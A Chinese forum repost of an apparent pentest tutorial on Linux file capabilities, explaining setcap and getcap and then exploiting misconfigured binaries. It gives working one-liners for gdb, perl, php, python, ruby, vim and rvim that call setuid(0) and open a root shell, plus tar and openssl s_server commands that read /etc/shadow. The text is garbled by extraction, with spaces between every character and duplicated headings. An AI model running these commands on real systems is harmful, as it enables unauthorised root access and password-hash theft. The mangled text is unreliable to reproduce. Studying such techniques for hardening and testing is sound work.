搜索

[15977] 2020-10-17_Linux系统利用可执行文件的Capabilities实现权限提升

文档创建者：s7ckTeam
浏览次数：12
最后更新：2025-01-18
2020-10-17_Linux系统利用可执行文件的Capabilities实现权限提升 L i n u x 系 统 利 用 可 执 行 文 件 的 C a p a b i l i t i e s 实 现 权 限 提 升 r e g i t n e w   F r e e B u f   2 0 2 0 - 1 0 - 1 7 一 、 一 、 操 作 目 的 和 应 用 场 景 操 作 目 的 和 应 用 场 景 C a p a b i l i t i e s 机 制 是 在 L i n u x 内 核 2 . 2 之 后 引 入 的 ， 原 理 很 简 单 ， 就 是 将 之 前 与 超 级 用 户 r o o t （ U I D = 0 ） 关 联 的 特 权 细 分 为 不 同 的 功 能 组 ， C a p a b i l i t e s 作 为 线 程 （ L i n u x 并 不 真 正 区 分 进 程 和 线 程 ） 的 属 性 存 在 ， 每 个 功 能 组 都 可 以 独 立 启 用 和 禁 用 。 其 本 质 上 就 是 将 内 核 调 用 分 门 别 类 ， 具 有 相 似 功 能 的 内 核 调 用 被 分 到 同 一 组 中 。 这 样 一 来 ， 权 限 检 查 的 过 程 就 变 成 了 ： 在 执 行 特 权 操 作 时 ， 如 果 线 程 的 有 效 身 份 不 是 r o o t ， 就 去 检 查 其 是 否 具 有 该 特 权 操 作 所 对 应 的 c a p a b i l i t i e s ， 并 以 此 为 依 据 ， 决 定 是 否 可 以 执 行 特 权 操 作 。 如 果 C a p a b i l i t i e s 设 置 不 正 确 ， 就 会 让 攻 击 者 有 机 可 乘 ， 实 现 权 限 提 升 。 二 、 二 、 平 台 及 工 具 版 本 平 台 及 工 具 版 本 h o s t 系 统 ： k a l i   l i n u x   2 0 2 0 虚 拟 机 管 理 程 序 ： v i r t u a l b o x 虚 拟 机 ： C e n t O S   7 三 、 三 、 操 作 步 骤 操 作 步 骤 （ 一 ） （ 一 ） L i n u x   C a p a b i l i t i e s 管 理 管 理 1 、 、   L i n u x 系 统 管 理 系 统 管 理 C a p a b i l i t i e s 的 工 具 的 工 具 L i n u x 系 统 中 主 要 提 供 了 两 种 工 具 来 管 理 c a p a b i l i t i e s ： l i b c a p 和 l i b c a p - n g 。 l i b c a p 提 供 了 g e t c a p 和 s e t c a p 两 个 命 令 来 分 别 查 看 和 设 置 文 件 的 c a p a b i l i t i e s ， 同 时 还 提 供 了 c a p s h 来 查 看 当 前 s h e l l 进 程 的 c a p a b i l i t i e s 。 l i b c a p - n g 更 易 于 使 用 ， 使 用 同 一 个 命 令 f i l e c a p 来 查 看 和 设 置 c a p a b i l i t i e s 。 2 、 、   C a p a b i l i t i e s 的 管 理 方 法 的 管 理 方 法 （ 1 ） 设 置 C a p a b i l i t y 举 个 例 子 ， 安 装 w i r e s h a r k 软 件 后 ， 默 认 情 况 下 ， 普 通 用 户 无 法 对 网 卡 实 施 抓 包 操 作 。 这 是 因 为 普 通 用 户 不 具 备 相 应 的 权 限 。
为 解 决 此 问 题 ， 可 以 为 / u s r / b i n / d u m p c a p 文 件 授 予 抓 包 相 关 的 c a p a b i l i t i e s ： s e t c a p   c a p _ n e t _ r a w , c a p _ n e t _ a d m i n = e i p   / u s r / b i n / d u m p c a p 命 令 执 行 后 重 新 启 动 w i r e s h a r k ， 就 可 以 抓 包 了 。 （ 2 ） 查 看 文 件 的 C a p a b i l i t y g e t c a p   / u s r / b i n / d u m p c a p     / / 查 看 文 件 的 c a p a b i l i t i e s
（ 3 ） 删 除 文 件 的 c a p a b i l i t i e s s e t c a p   - r   / u s r / b i n / d u m p c a p （ 二 ） 利 用 （ 二 ） 利 用 C a p a b i l i t i e s 实 现 权 限 提 升 实 现 权 限 提 升 现 在 假 设 管 理 员 对 一 些 可 执 行 文 件 设 置 了 c a p a b i l i t i e s 。 测 试 人 员 通 过 下 面 的 命 令 查 找 这 些 文 件 ： g e t c a p   - r   /   2 > / d e v / n u l l 之 后 我 们 针 对 其 中 的 一 部 分 程 序 尝 试 提 权 。 请 大 家 注 意 ， 从 上 面 查 找 结 果 中 可 以 看 到 ， 很 多 文 件 的 c a p a b i l i t y 被 设 置 为 c a p _ s e t u i d 。 但 是 文 件 c a p a b i l i t i e s 中 的 c a p _ s e t u i d 和 文 件 的 s u i d 标 志 位 之 间 是 没 有 关 系 的 ： 设 置 了 c a p _ s e t u i d 的 c a p a b i l i t y 的 文 件 并 没 有 设 置 s u i d 。 设 置 了 s u i d 的 程 序 也 不 拥 有 c a p _ s e t u i d 的 c a p a b i l i t y 。 1 、 、   g d b g d b   - n x   - e x   ‘ p y t h o n   i m p o r t   o s ;   o s . s e t u i d ( 0 ) ’   - e x   ‘ ! s h ’   - e x   q u i t
提 权 成 功 ， 获 取 了 r o o t   s h e l l 。 2 、 、   p e r l p e r l   - e   ‘ u s e   P O S I X   q w ( s e t u i d ) ;   P O S I X : : s e t u i d ( 0 ) ;   e x e c   “ / b i n / s h ” ; ’ 提 权 成 功 ， 获 取 了 r o o t   s h e l l 。 3 、 、   p h p p h p   - r   “ p o s i x _ s e t u i d ( 0 ) ;   s y s t e m ( ‘ / b i n / s h ’ ) ; ” 在 k a l i   l i n u x 上 提 权 成 功 ， 获 取 了 r o o t   s h e l l 。 在 C e n t O S   7 系 统 中 安 装 的 低 版 本 p h p 无 法 提 权 ： 4 、 、   p y t h o n p y t h o n   - c   ‘ i m p o r t   o s ;   o s . s e t u i d ( 0 ) ;   o s . s y s t e m ( “ / b i n / s h ” ) ’
提 权 成 功 ， 获 取 了 r o o t   s h e l l 。 5 、 、   r u b y r u b y   - e   ‘ P r o c e s s : : S y s . s e t u i d ( 0 ) ;   e x e c   “ / b i n / s h ” ‘ 提 权 成 功 ， 获 取 了 r o o t   s h e l l 。 6 、 、   r v i m r v i m   - c   ‘ : p y   i m p o r t   o s ;   o s . s e t u i d ( 0 ) ;   o s . e x e c l ( “ / b i n / s h ” ,   “ s h ” ,   “ - c ” ,   “ r e s e t ;   e x e c   s h ” ) ’ 执 行 后 获 取 r o o t   s h e l l ： 7 、 、   v i m v i m   - c   ‘ : p y   i m p o r t   o s ;   o s . s e t u i d ( 0 ) ;   o s . e x e c l ( “ / b i n / s h ” ,   “ s h ” ,   “ - c ” ,   “ r e s e t ;   e x e c   s h ” ) ’
执 行 后 获 得 r o o t   s h e l l ： 8 、 、   t a r c a p _ d a c _ r e a d _ s e a r c h 可 以 绕 过 文 件 的 读 权 限 检 查 以 及 目 录 的 读 / 执 行 权 限 的 检 查 。 利 用 此 特 性 我 们 可 以 读 取 系 统 中 的 敏 感 信 息 。 t a r   c v f   s h a d o w . t a r   / e t c / s h a d o w     / / 创 建 压 缩 文 件 t a r   - x v f   s h a d o w . t a r     / / 解 压 缩 c d   e t c     / / 进 入 解 压 缩 的 目 录 c h m o d   + r   s h a d o w     / / 赋 予 读 权 限 c a t   s h a d o w   |   g r e p   r o o t     / / 查 看 s h a d o w 文 件 的 内 容 这 样 就 读 取 了 / e t c / s h a d o w 文 件 的 内 容 ， z i p 等 程 序 也 可 以 达 到 相 同 的 目 标 ， 过 程 不 再 赘 述 。 9 、 、   o p e n s s l
可 以 看 到 ， o p e n s s l 的 c a p a b i l i t y 被 设 置 为 空 。 下 面 我 们 尝 试 使 用 o p e n s s l 读 取 / e t c / s h a d o w 文 件 。 / / 使 用 o p e n s s l 生 成 证 书 c d   / t m p o p e n s s l   r e q   - x 5 0 9   - n e w k e y   r s a : 2 0 4 8   - k e y o u t   k e y . p e m   - o u t   c e r t . p e m   - d a y s   3 6 5   - n o d e s / / 启 动 w e b 服 务 器 ， 监 听 1 3 3 7 端 口 c d   / o p e n s s l   s _ s e r v e r   - k e y   / t m p / k e y . p e m   - c e r t   / t m p / c e r t . p e m   - p o r t   1 3 3 7   - H T T P / / 访 问 本 机 的 w e b 服 务 ， 读 取 / e t c / s h a d o w 文 件 c u r l   - k   “ h t t p s : / / 1 2 7 . 0 . 0 . 1 : 1 3 3 7 / e t c / s h a d o w “ 提 权 成 功 。 四 、 四 、 参 考 网 址 参 考 网 址 h t t p s : / / g t f o b i n s . g i t h u b . i o / h t t p s : / / w w w . h a c k i n g a r t i c l e s . i n / l i n u x - p r i v i l e g e - e s c a l a t i o n - u s i n g - c a p a b i l i t i e s / h t t p s : / / m e d i u m . c o m / @ i n t 0 x 3 3 / d a y - 4 4 - l i n u x - c a p a b i l i t i e s - p r i v i l e g e - e s c a l a t i o n - v i a - o p e n s s l - w i t h - s e l i n u x - e n a b l e d - a n d - e n f o r c e d - 7 4 d 2 b e c 0 2 0 9 9 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理